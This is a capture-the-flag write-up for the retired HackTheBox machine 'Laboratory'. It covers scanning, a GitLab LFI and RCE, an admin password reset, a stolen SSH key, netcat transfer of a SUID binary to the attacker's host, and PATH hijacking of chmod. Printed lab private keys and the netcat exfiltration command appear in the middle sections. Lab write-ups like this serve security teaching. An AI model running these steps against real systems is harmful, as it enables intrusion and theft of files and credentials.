HackTheBox - Laboratory - Retired
Starting off with a quick scan using threader6000
/opt/threader3000/threader6000.py 10.10.10.216 |
Ports 22,80,443 came back.
Run nmap against these ports.
nmap -p22,80,443 -sV -sC -T4 -Pn -oN 10.10.10.216 10.10.10.216 |
nmap -p22,80,443 -sV -sC -Pn -T4 -oN 10.10.10.216 10.10.10.216 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 17:43 EDT Nmap scan report for laboratory.htb (10.10.10.216) Host is up (0.060s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) | 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to https://laboratory.htb/ 443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: The Laboratory | ssl-cert: Subject: commonName=laboratory.htb | Subject Alternative Name: DNS:git.laboratory.htb | Not valid before: 2020-07-05T10:39:28 |_Not valid after: 2024-03-03T10:39:28 | tls-alpn: |_ http/1.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.09 seconds ------------------------------------------------------------ |
Not much open on this box, looks like the web is going to be our way in. port 80 redirects to 443
SSL cert lists another domain, add it to /etc/hosts
Git lab
Sign up for an account.
Filter on domain that can be used for signing up let's try laboratory.htb.
Yup that worked
GitLab Community Edition 12.8.1
This site says look for /explore
https://six2dez.gitbook.io/pentest-book/enumeration/webservices/gitlab
There is a project, let's check it out
There is an issue open
What is code 418?????
https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/418
Ok, never heard of that one before
Found this LFI POC
https://github.com/thewhiteh4t/cve-2020-10977
Grabbed /etc/passwd, not much here I don't see any named user accounts mostly just accounts for services…. Git looks interesting.
Ok what else
/etc/issue let's us know which flavor this is > /etc/issue ----------------------------------------
Ubuntu 16.04.6 LTS \n \l
|
https://devcraft.io/assets/hacktivitycon-slides.pdf
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
----------------------------------------
# This file is managed by gitlab-ctl. Manual changes will be # erased! To change the contents below, edit /etc/gitlab/gitlab.rb # and run `sudo gitlab-ctl reconfigure`.
--- production: db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838 secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3 otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af openid_connect_signing_key: | -----BEGIN RSA PRIVATE KEY----- MIIJKQIBAAKCAgEA5LQnENotwu/SUAshZ9vacrnVeYXrYPJoxkaRc2Q3JpbRcZTu YxMJm2+5ZDzaDu5T4xLbcM0BshgOM8N3gMcogz0KUmMD3OGLt90vNBq8Wo/9cSyV RnBSnbCl0EzpFeeMBymR8aBm8sRpy7+n9VRawmjX9os25CmBBJB93NnZj8QFJxPt u00f71w1pOL+CIEPAgSSZazwI5kfeU9wCvy0Q650ml6nC7lAbiinqQnocvCGbV0O aDFmO98dwdJ3wnMTkPAwvJcESa7iRFMSuelgst4xt4a1js1esTvvVHO/fQfHdYo3 5Y8r9yYeCarBYkFiqPMec8lhrfmviwcTMyK/TBRA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VS1wz6HexcTBkQg6aT0+IH1CK8dMdX8isfBy7aGJQfqFVoZn7Q9 MBDMZ6wY2VOU2zV8BMp17NC9ACRP6d/UWMlsSrOPs5QjplgZeHUptl6DZGn1cSNF RSZMieG20KVInidS1UHj9xbBddCPqIwd4po913ZltMGidUQY6lXZU1nA88t3iwJG onlpI1eEsYzC7uHQ9NMAwCukHfnU3IRi5RMAmlVLkot4ZKd004mVFI7nJC28rFGZ Cz0mi+1DS28jSQSdg3BWy1LhJcPjTp95AoIBAQDpGZ6iLm8lbAR+O8IB2om4CLnV oBiqY1buWZl2H03dTgyyMAaePL8R0MHZ90GxWWu38aPvfVEk24OEPbLCE4DxlVUr 0VyaudN5R6gsRigArHb9iCpOjF3qPW7FaKSpevoCpRLVcAwh3EILOggdGenXTP1k huZSO2K3uFescY74aMcP0qHlLn6sxVFKoNotuPvq5tIvIWlgpHJIysR9bMkOpbhx UR3u0Ca0Ccm0n2AK+92GBF/4Z2rZ6MgedYsQrB6Vn8sdFDyWwMYjQ8dlrow/XO22 z/ulFMTrMITYU5lGDnJ/eyiySKslIiqgVEgQaFt9b0U3Nt0XZeCobSH1ltgN -----END RSA PRIVATE KEY-----
----------------------------------------
|
Also found this LFI/RCE
https://github.com/dotPY-hax/gitlab_RCE
Edit file to use the laboratory.htb for email domain and setup nc listener
Start RCE
Shell is very limited; Let's use a bash script to get a better shell.
Copy from updog to gitlab
Change password for dexter
https://gitlab.mister-muffin.de/help/security/reset_root_password.md
Start up the gitlab-rail console
Gitlab-rails console -e production |
Find out the username for the 1 entry in the user table
User = user.where(id: 1).first |
Let's reset the password so we can login
User.password = 'password' user.password_confirmation= 'password' |
Save the change
Now we can try to login as dexter.
I tried dexter@laboratory.htb first but it didn' work so I dropped back to the console to find out the correct email address
It was actually admin@example.com
Grab out id_rsa private key from dexter's SEcure Docker project
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwA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wfcGfuXAAAAwQDECykadz2tSfU0Vt7ge49Xv3vUYXTTMT7p 7a8ryuqlafYIr72iV/ir4zS4VFjLw5A6Ul/xYrCud0OIGt0El5HmlKPW/kf1KeePfsHQHS JP4CYgVRuNmqhmkPJXp68UV3djhA2M7T5j31xfQE9nEbEYsyRELOOzTwnrTy/F74dpk/pq XCVyJn9QMEbE4fdpKGVF+MS/CkfE+JaNH9KOLvMrlw0bx3At681vxUS/VeISQyoQGLw/fu uJvh4tAHnotmkAAAAPcm9vdEBsYWJvcmF0b3J5AQIDBA== -----END OPENSSH PRIVATE KEY----- |
Now we can ssh in as dexter.
ssh -i ./id_rsa dexter@git.laboratory.htb |
Grab out user.txt file from /home/dexter
Copy over linpeas.sh to do enumeration
Give the script execution rights
We see a executable with the SUID bit set
If we try to run strings on this we find it's not on git.laboratory.htb
So let's exfil this binary over to our kali box
On Kali setup our lisenter
nc -lnvp 5555 > docker-security |
And on git send the file over
nc 10.10.14.16 5555 < docker-security |
Now if we run strings on it we see
The file is making some changes to the permissions on some files.
But look at how they are calling chmod… relatively not absolutely
They are using
And not
So if we we can hijack this command, by making a new chmod executable and placing it in our environment path so it runs ours instead of the /usr/bin/chmod
Here is a great blog that talks about path hijacking.
https://medium.com/r3d-buck3t/hijacking-relative-paths-in-suid-programs-fed804694e6e
Comments
Post a Comment